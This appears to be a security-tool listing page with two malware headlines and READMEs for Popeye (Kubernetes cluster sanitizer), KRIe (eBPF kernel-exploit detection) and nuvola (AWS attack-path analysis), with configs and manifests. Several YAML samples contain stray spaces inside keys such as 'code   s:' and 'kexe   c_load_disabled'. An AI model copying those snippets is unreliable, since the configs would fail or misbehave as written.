Ukraine Hit with New Golang-based 'SwiftSlicer' Wiper Malware in Latest Cyber Attack

Chinese Hackers Utilize Golang Malware in DragonSpark Attacks to Evade Detection

Popeye - A Kubernetes Cluster Resource Sanitizer

Popeye - A Kubernetes Cluster Sanitizer

Popeye is a utility that scans live Kubernetes cluster and reports potential issues with deployed resources and configurations. It sanitizes your cluster based on what's deployed and not what's sitting on disk. By scanning your cluster, it detects misconfigurations and helps you to ensure that best practices are in place, thus preventing future headaches. It aims at reducing the cognitive overload one faces when operating a Kubernetes cluster in the wild. Furthermore, if your cluster employs a metric-server, it reports potential resources over/under allocations and attempts to warn you should your cluster run out of capacity.

Popeye is a readonly tool, it does not alter any of your Kubernetes resources in any way!

Installation

Popeye is available on Linux, OSX and Windows platforms.

• Binaries for Linux, Windows and Mac are available as tarballs in the release page.

• For OSX/Unit using Homebrew/LinuxBrew

  brew install derailed/popeye/popeye

• Building from source Popeye was built using go 1.12+. In order to build Popeye from source you must:

  1. Clone the repo

  2. Add the following command in your go.mod file

     replace (
       github.com/derailed/popeye => MY_POPEYE_CLONED_GIT_REPO
     )
     

  3. Build and run the executable

     go run main.go

  Quick recipe for the impatient:

  # Clone outside of GOPATH
  git clone https://github.com/derailed/popeye
  cd popeye
  # Build and install
  go install
  # Run
  popeye

PreFlight Checks

• Popeye uses 256 colors terminal mode. On `Nix system make sure TERM is set accordingly.

  export TERM=xterm-256color

Sanitizers

Popeye scans your cluster for best practices and potential issues. Currently, Popeye only looks at nodes, namespaces, pods and services. More will come soon! We are hoping Kubernetes friends will pitch'in to make Popeye even better.

The aim of the sanitizers is to pick up on misconfigurations, i.e. things like port mismatches, dead or unused resources, metrics utilization, probes, container images, RBAC rules, naked resources, etc...

Popeye is not another static analysis tool. It runs and inspect Kubernetes resources on live clusters and sanitize resources as they are in the wild!

Here is a list of some of the available sanitizers:

You can also see the full list of codes

Save the report

To save the Popeye report to a file pass the --save flag to the command. By default it will create a temp directory and will store the report there, the path of the temp directory will be printed out on STDOUT. If you have the need to specify the output directory for the report, you can use the environment variable POPEYE_REPORT_DIR. By default, the name of the output file follow the following format : sanitizer_<cluster-name>_<time-UnixNano>.<output-extension> (e.g. : "sanitizer-mycluster-1594019782530851873.html"). If you have the need to specify the output file name for the report, you can pass the --output-file flag with the filename you want as parameter.

Example to save report in working directory:

  $ POPEYE_REPORT_DIR=$(pwd) popeye --save

Example to save report in working directory in HTML format under the name "report.html" :

  $ POPEYE_REPORT_DIR=$(pwd) popeye --save --out html --output-file report.html

Save the report to S3

You can also save the generated report to an AWS S3 bucket (or another S3 compatible Object Storage) with providing the flag --s3-bucket. As parameter you need to provide the name of the S3 bucket where you want to store the report. To save the report in a bucket subdirectory provide the bucket parameter as bucket/path/to/report.

Underlying the AWS Go lib is used which is handling the credential loading. For more information check out the official documentation.

Example to save report to S3:

popeye --s3-bucket=NAME-OF-YOUR-S3-BUCKET/OPTIONAL/SUBDIRECTORY --out=json

If AWS sS3 is not your bag, you can further define an S3 compatible storage (OVHcloud Object Storage, Minio, Google cloud storage, etc...) using s3-endpoint and s3-region as so:

popeye --s3-bucket=NAME-OF-YOUR-S3-BUCKET/OPTIONAL/SUBDIRECTORY --s3-region YOUR-REGION --s3-endpoint URL-OF-THE-ENDPOINT

Run public Docker image locally

You don't have to build and/or install the binary to run popeye: you can just run it directly from the official docker repo on DockerHub. The default command when you run the docker container is popeye, so you just need to pass whatever cli args are normally passed to popeye. To access your clusters, map your local kube config directory into the container with -v :

  docker run --rm -it \
    -v $HOME/.kube:/root/.kube \
    derailed/popeye --context foo -n bar

Running the above docker command with --rm means that the container gets deleted when popeye exits. When you use --save, it will write it to /tmp in the container and then delete the container when popeye exits, which means you lose the output. To get around this, map /tmp to the container's /tmp. NOTE: You can override the default output directory location by setting POPEYE_REPORT_DIR env variable.

  docker run --rm -it \
    -v $HOME/.kube:/root/.kube \
    -e POPEYE_REPORT_DIR=/tmp/popeye \
    -v /tmp:/tmp \
    derailed/popeye --context foo -n bar --save --output-file my_report.txt

  # Docker has exited, and the container has been deleted, but the file
  # is in your /tmp directory because you mapped it into the container
  $ cat /tmp/popeye/my_report.txt
    <snip>

The Command Line

You can use Popeye standalone or using a spinach yaml config to tune the sanitizer. Details about the Popeye configuration file are below.

# Dump version info
popeye version
# Popeye a cluster using your current kubeconfig environment.
popeye
# Popeye uses a spinach config file of course! aka spinachyaml!
popeye -f spinach.yml
# Popeye a cluster using a kubeconfig context.
popeye --context olive
# Stuck?
popeye help

Output Formats

Popeye can generate sanitizer reports in a variety of formats. You can use the -o cli option and pick your poison from there.

The SpinachYAML Configuration

A spinach.yml configuration file can be specified via the -f option to further configure the sanitizers. This file may specify the container utilization threshold and specific sanitizer configurations as well as resources that will be excluded from the sanitization.

NOTE: This file will change as Popeye matures!

Under the excludes key you can configure to skip certain resources, or certain checks by code. Here, resource types are indicated in a group/version/resource notation. Example: to exclude PodDisruptionBugdets, use the notation policy/v1/poddisruptionbudgets. Note that the resource name is written in the plural form and everything is spelled in lowercase. For resources without an API group, the group part is omitted (Examples: v1/pods, v1/services, v1/configmaps).

A resource is identified by a resource kind and a fully qualified resource name, i.e. namespace/resource_name.

For example, the FQN of a pod named fred-1234 in the namespace blee will be blee/fred-1234. This provides for differentiating fred/p1 and blee/p1. For cluster wide resources, the FQN is equivalent to the name. Exclude rules can have either a straight string match or a regular expression. In the latter case the regular expression must be indicated using the rx: prefix.

NOTE! Please be careful with your regex as more resources than expected may get excluded from the report with a loose regex rule. When your cluster resources change, this could lead to a sub-optimal sanitization. Once in a while it might be a good idea to run Popeye „configless“ to make sure you will recognize any new issues that may have arisen in your clusters…

Here is an example spinach file as it stands in this release. There is a fuller eks and aks based spinach file in this repo under spinach. (BTW: for new comers into the project, might be a great way to contribute by adding cluster specific spinach file PRs...)

# A Popeye sample configuration file
popeye:
  # Checks resources against reported metrics usage.
  # If over/under these thresholds a sanitization warning will be issued.
  # Your cluster must run a metrics-server for these to take place!
  allocations:
    cpu:
      underPercUtilization: 200 # Checks if cpu is under allocated by more than 200% at current load.
      overPercUtilization: 50   # Checks if cpu is over allocated by more than 50% at current load.
    memory:
      underPercUtilization: 200 # Checks if mem is under allocated by more than 200% at current load.
      overPercUtilization: 50   # Checks if mem is over allocated by more than 50% usage at current load.

  # Excludes excludes certain resources from Popeye scans
  excludes:
    v1/pods:
    # In the monitoring namespace excludes all probes check on pod's containers.
    - name: rx:monitoring
      code   s:
      - 102
    # Excludes all istio-proxy container scans for pods in the icx namespace.
    - name: rx:icx/.*
      containers:
        # Excludes istio init/sidecar container from scan!
        - istio-proxy
        - istio-init
    # ConfigMap sanitizer exclusions...
    v1/configmaps:
      # Excludes key must match the singular form of the resource.
      # For instance this rule will exclude all configmaps named fred.v2.3 and fred.v2.4
      - name: rx:fred.+\.v\d+
    # Namespace sanitizer exclusions...
    v1/namespaces:
      # Exclude all fred* namespaces if the namespaces are not found (404), other error codes will be reported!
      - name: rx:kube
        codes:
          - 404
      # Exclude all istio* namespaces from being scanned.
      - name: rx:istio
    # Completely exclude horizontal pod autoscalers.
    autoscaling/v1/horizontalpodautoscalers:
      - name: rx:.*

  # Configure node resources.
  node:
    # Limits set a cpu/mem threshold in % ie if cpu|mem > limit a lint warning is triggered.
    limits:
      # CPU checks if current CPU utilization on a node is greater than 90%.
      cpu:    90
      # Memory checks if current Memory utilization on a node is greater than 80%.
      memory: 80

  # Configure pod resources
  pod:
    # Restarts check the restarts count and triggers a lint warning if above threshold.
    restarts:
      3
    # Check container resource utilization in percent.
    # Issues a lint warning if about these threshold.
    limits:
      cpu:    80
      memory: 75

  # Configure a list of allowed registries to pull images from
  registries:
    - quay.io
    - docker.io

Popeye In Your Clusters!

Alternatively, Popeye is containerized and can be run directly in your Kubernetes clusters as a one-off or CronJob.

Here is a sample setup, please modify per your needs/wants. The manifests for this are in the k8s directory in this repo.

kubectl apply -f k8s/popeye/ns.yml && kubectl apply -f k8s/popeye

---
apiVersion: batch/v1
kind: CronJob
metadata:
  name:      popeye
  namespace: popeye
spec:
  schedule: "* */1 * * *" # Fire off Popeye once an hour
  concurrencyPolicy: Forbid
  jobTemplate:
    spec:
      template:
        spec:
          serviceAccountName: popeye
          restartPolicy: Never
          containers:
            - name: popeye
              image: derailed/popeye
              imagePullPolicy: IfNotPresent
              args:
                - -o
                - yaml
                - --force-exit-zero
                - true
              resources:
                limits:
                  cpu:    500m
                  memory: 100Mi

The --force-exit-zero should be set to true. Otherwise, the pods will end up in an error state. Note that popeye exits with a non-zero error code if the report has any errors.

Popeye got your RBAC!

In order for Popeye to do his work, the signed-in user must have enough RBAC oomph to get/list the resources mentioned above.

Sample Popeye RBAC Rules (please note that those are subject to change.)

---
# Popeye ServiceAccount.
apiVersion: v1
kind:       ServiceAccount
metadata:
  name:      popeye
  namespace: popeye

---
# Popeye needs get/list access on the following Kubernetes resources.
apiVersion: rbac.authorization.k8s.io/v1
kind:       ClusterRole
metadata:
  name: popeye
rules:
- apiGroups: [""]
  resources:
   - configmaps
   - deployments
   - endpoints
   - horizontalpodautoscalers
   - namespaces
   - nodes
   - persistentvolumes
   - persistentvolumeclaims
   - pods
   - secrets
   - serviceaccounts
   - services
   - statefulsets
  verbs:     ["get", "list"]
- apiGroups: ["rbac.authorization.k8s.io"]
  resources:
  - clusterroles
  - clusterrolebindings
  - roles
  - rolebindings
  verbs:     ["get", "list"]
- apiGroups: ["metrics.k8s.io"]
  resources   :
  - pods
  - nodes
  verbs:     ["get", "list"]

---
# Binds Popeye to this ClusterRole.
apiVersion: rbac.authorization.k8s.io/v1
kind:       ClusterRoleBinding
metadata:
  name: popeye
subjects:
- kind:     ServiceAccount
  name:     popeye
  namespace: popeye
roleRef:
  kind:     ClusterRole
  name:     popeye
  apiGroup: rbac.authorization.k8s.io

Screenshots

Cluster D Score

Cluster A Score

Report Morphology

The sanitizer report outputs each resource group scanned and their potential issues. The report is color/emoji coded in term of Sanitizer severity levels:

The heading section for each scanned Kubernetes resource provides a summary count for each of the categories above.

The Summary section provides a Popeye Score based on the sanitization pass on the given cluster.

Known Issues

This initial drop is brittle. Popeye will most likely blow up when…

• You're running older versions of Kubernetes. Popeye works best with Kubernetes 1.13+.
• You don't have enough RBAC oomph to manage your cluster (see RBAC section)

Disclaimer

This is work in progress! If there is enough interest in the Kubernetes community, we will enhance per your recommendations/contributions. Also if you dig this effort, please let us know that too!

ATTA Girls/Boys!

Popeye sits on top of many of open source projects and libraries. Our sincere appreciations to all the OSS contributors that work nights and weekends to make this project a reality!

Contact Info

1. Email: fernand@imhotep.io
2. Twitter: @kitesurfer

KRIe - Linux Kernel Runtime Integrity With eBPF

KRIe is a research project that aims to detect Linux Kernel exploits with eBPF. KRIe is far from being a bulletproof strategy: from eBPF related limitations to post exploitation detections that might rely on a compromised kernel to emit security events, it is clear that a motivated attacker will eventually be able to bypass it. That being said, the goal of the project is to make attackers' lives harder and ultimately prevent out-of-the-box exploits from working on a vulnerable kernel.

KRIe has been developed using CO-RE (Compile Once - Run Everywhere) so that it is compatible with a large range of kernel versions. If your kernel doesn't export its BTF debug information, KRIe will try to download it automatically from BTFHub. If your kernel isn't available on BTFHub, but you have been able to manually generate your kernel's BTF data, you can provide it in the configuration file (see below).

System requirements

This project was developed on Ubuntu Focal 20.04 (Linux Kernel 5.15) and has been tested on older releases down to Ubuntu Bionic 18.04 (Linux Kernel 4.15).

• golang 1.18+
• (optional) Kernel headers are expected to be installed in lib/modules/$(uname -r), update the Makefile with their location otherwise.
• (optional) clang & llvm 14.0.6+

Optional fields are required to recompile the eBPF programs.

Build

1. Since KRIe was built using CORE, you shouldn't need to rebuild the eBPF programs. That said, if you want still want to rebuild the eBPF programs, you can use the following command:

# ~ make build-ebpf

2. To build KRIE, run:

# ~ make build

3. To install KRIE (copy to /usr/bin/krie) run:

# ~ make install

Getting started

KRIe needs to run as root. Run sudo krie -h to get help.

# ~ krie -h
Usage:
  krie [flags]

Flags:
      --config string   KRIe config file (default "./cmd/krie/run/config/default_config.yaml")
  -h, --help            help for krie

Configuration

## Log level, options are: panic, fatal, error, warn, info, debug or trace
log_level: debug

## JSON output file, leave empty to disable JSON output.
output: "/tmp/krie.json"

## BTF information for the current kernel in .tar.xz format (required only if KRIE isn't able to locate it by itself)
vmlinux: ""

## events configuration
events:
  ## action taken when an init_module event is detected
  init_module: log

  ## action taken when an delete_module event is detected
  delete_module: log

  ## action taken when a bpf event is detected
  bpf: log

  ## action taken when a bpf_filter event is detected
  bpf_filter: log

  ## action taken when a ptrace event is detected
  ptrace: log

  ## action taken when a kprobe event is detected
  kprobe: log

  ## action taken when a sysctl event is detected
  sysctl:
    action:    log

    ## Default settings for sysctl programs (kernel 5.2+ only)
    sysctl_default:
      block_read_access: false
      block_write_access: false

    ## Custom settings for sysctl programs (kernel 5.2+ only)
    sysctl_parameters:
      kernel/yama/ptrace_scope:
        block_write_access: true
      kernel/ftrace_enabled:
        override_input_value_with: "1\n"

  ## action taken when a hooked_syscall_table event is detected
  hooked_syscall_table: log

  ## action taken when a hooked_syscall event is detected
  hooked_syscall: log

  ## kernel_parameter event configuration
  kernel_parameter:
    action: log
    periodic_action: log
    ticker: 1 # sends at most one event every [ticker] second(s)
    list:
      - symbol: system/kprobes_all_disarmed
        expected_value: 0
        size: 4
      #      - symbol: system/selinux_state
      #        expecte   d_value: 256
      #        size: 2

      # sysctl
      - symbol: system/ftrace_dump_on_oops
        expected_value: 0
        size: 4
      - symbol: system/kptr_restrict
        expected_value: 0
        size: 4
      - symbol: system/randomize_va_space
        expected_value: 2
        size: 4
      - symbol: system/stack_tracer_enabled
        expected_value: 0
        size: 4
      - symbol: system/unprivileged_userns_clone
        expected_value: 0
        size: 4
      - symbol: system/unprivileged_userns_apparmor_policy
        expected_value: 1
        size: 4
      - symbol: system/sysctl_unprivileged_bpf_disabled
        expected_value: 1
        size: 4
      - symbol: system/ptrace_scope
        expected_value: 2
        size: 4
      - symbol: system/sysctl_perf_event_paranoid
        expected_value: 2
        size: 4
      - symbol: system/kexe   c_load_disabled
        expected_value: 1
        size: 4
      - symbol: system/dmesg_restrict
        expected_value: 1
        size: 4
      - symbol: system/modules_disabled
        expected_value: 0
        size: 4
      - symbol: system/ftrace_enabled
        expected_value: 1
        size: 4
      - symbol: system/ftrace_disabled
        expected_value: 0
        size: 4
      - symbol: system/sysctl_protected_fifos
        expected_value: 1
        size: 4
      - symbol: system/sysctl_protected_hardlinks
        expected_value: 1
        size: 4
      - symbol: system/sysctl_protected_regular
        expected_value: 2
        size: 4
      - symbol: system/sysctl_protected_symlinks
        expected_value: 1
        size: 4
      - symbol: system/sysctl_unprivileged_userfaultfd
        expected_value: 0
        size: 4

  ## action to check when a regis   ter_check fails on a sensitive kernel space hook point
  register_check: log

Documentation

• The first version of KRIe was announced at BlackHat 2022, during the briefing: Return to Sender - Detecting Kernel Exploits with eBPF

License

• The golang code is under Apache 2.0 License.
• The eBPF programs are under the GPL v2 License.

nuvola - Tool To Dump And Perform Automatic And Manual Security Analysis On Aws Environments Configurations And Services

nuvola (with the lowercase n) is a tool to dump and perform automatic and manual security analysis on AWS environments configurations and services using predefined, extensible and custom rules created using a simple Yaml syntax.

The general idea behind this project is to create an abstracted digital twin of a cloud platform. For a more concrete example: nuvola reflects the BloodHound traits used for Active Directory analysis but on cloud environments (at the moment only AWS).

The usage of a graph database also increases the possibility of finding different and innovative attack paths and can be used as an offline, centralised and lightweight digital twin.

Quick Start

Requirements

• docker-compose installed
• an AWS account configured to be used with awscli with full access to the cloud resources, better if in ReadOnly mode (the policy arn:aws:iam::aws:policy/ReadOnlyAccess is fine)

Setup

1. Clone the repository

git clone --depth=1 https://github.com/primait/nuvola.git; cd nuvola

2. Create and edit, if required, the .env file to set your DB username/password/URL

cp .env_example .env;

3. Start the Neo4j docker instance

make start

4. Build the tool

make build

Usage

1. Firstly you need to dump all the supported AWS services configurations and load the data into the Neo4j database:

./nuvola dump -profile default_RO -outputdir ~/DumpDumpFolder -format zip

2. To import a previously executed dump operation into the Neo4j database:

./nuvola assess -import ~/DumpDumpFolder/nuvola-default_RO_20220901.zip

3. To only perform static assessments on the data loaded into the Neo4j database using the predefined ruleset:

./nuvola assess

4. Or use Neo4j Browser to manually explore the digital twin.

About nuvola

To get started with nuvola and its database schema, check out the nuvola Wiki.

No data is sent or shared with Prima Assicurazioni.

How to contribute

• reporting bugs and issues
• reporting new improvements
• reviewing issues and pull requests
• fixing bugs and issues
• creating new rules
• improving the overall quality

Presentations

• RomHack 2022
  • Slides
  • Demos

License

nuvola uses graph theory to reveal possible attack paths and security misconfigurations on cloud environments.

This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this repository and program. If not, see http://www.gnu.org/licenses/.